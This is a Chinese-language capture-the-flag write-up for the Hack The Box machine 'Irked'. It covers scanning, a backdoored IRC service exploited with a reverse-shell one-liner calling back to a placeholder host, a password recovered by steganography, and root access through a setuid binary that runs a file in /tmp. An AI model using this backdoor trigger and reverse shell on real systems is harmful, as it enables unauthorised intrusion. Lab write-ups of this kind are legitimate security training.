Inevitable

文字所表现出来的美丽、恐惧。。还有率真之类的东西,我觉得在其他事物中还是很难寻得的。

0%

Hack the box-Irked

HTB的irked并不算难,跟评分挺符合的。

信息收集

服务器的网页上有一张图片和一行文字。文字表示这个服务器上运行着IRC服务。

用Nmap扫描一下。

1
nmap 10.10.10.117 -sS -oN portScan -A
扫描报告并没有出现之前提到的IRC服务。再次对服务器进行一次更加全面的端口扫描。
1
nmap 10.10.10.117 -p- -sC -sV -oN fullScan
这次发现了两个运行着IRC服务的端口。8057和6697。 尝试去连接IRC服务。查阅一下IRC的通讯协议,需要发送PASS,NICK,USER的信息。

先使用ncat连接上服务器,再按照协议中的规范将指定信息发送给服务器。这样就可以连接上IRC服务器,并且服务器会返回IRC的版本和型号。

漏洞利用

搜索一下版本和型号,会找到现成的漏洞

Metasploit

可以直接使用Metasploit进行漏洞利用。如果是docker的话,需要设置一下LHOST。因为exploit默认的LHOST是错误的,所以第一次反向shell会失败。只有在第一次失败后,才可以更改LHOST。

手动利用漏洞

这个漏洞的利用非常的简单。将AB传给IRC,IRC便会将之后的字符当作命令执行。 构建一个反向shell的payload。

监听本地端口

1
ncat -lvnp yourport
发送shell
1
echo "AB;bash -c'bash -i &> /dev/tcp/yourip/yourport 0&>1'"| ncat 10.10.10.117 8067
在payload外面套用一次bash的原因是 /dev/tcp/yourip/yourport是bash的特性,在其他的终端中无法使用。 具体参数的含义可以在这里查看

升级shell

现在的反向shell非常的简陋,可以给他升一下级。

1
python -c "import pyt;pyt.spawn('/bin/bash')"

这会在一个新的进程中创建一个bash。 接下来的升级步骤跟stty有关,由于docker无法使用control+z的快捷键,接下来的升级步骤我便没有继续下去。 参考: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method3upgradingfromnetcatwithmagic

提权

/home/djmardov/Documents/下可以找到user.txt文件,虽然没有没有权限读取他,但在相同的目录下,有一份隐藏的备份文件。在隐藏文件.backup里面有这样的提示:

1
2
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
里面提到了steg,隐写术。网站上是不是有一个图片?user.txt里面是不是有像密码一样的东西?
1
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
这样就获得了密码:Kab6h+m+bbp2J:HG。

接下来可以直接用ssh登录,不再用哪个简陋的shell。

1
2
ssh djmardov@10.10.10.117
Kab6h+m+bbp2J:HG
之前的文件里有pw的提示,所以提权的方式是利用一个权限设置不恰当的文件。文件的owner为root,但是用户执行时以root权限运行。

1
find / -​type​ f -perm -4000 2>/dev/null 

perm 4000的意思时寻找权限为setuid的文件,即用户可以以root权限执行的文件。 2>/dev/null会把所有报错信息(Permission Denied)过滤掉。

参考: https://www.tutonics.com/2012/12/find-files-based-on-their-permissions.html https://developer.ibm.com/tutorials/l-lpic1-104-5/

除去linux自带的文件,有一个奇特的文件viewuser。可以用ltrace和strace进行逆向分析一下,发现它会以root权限去执行/tmp/listusers中的命令。

创建/tem/listusers,并且写入/bin/bash,给文件加上执行权限。再次执行viewuser,我们便有了root权限。

总结

Irked并不算难。需要枚举找到正确的漏洞,漏洞的利用都可以自动化完成。提权的操作也比较常规,只要会枚举,完成实验难度不大。

欢迎关注我的其它发布渠道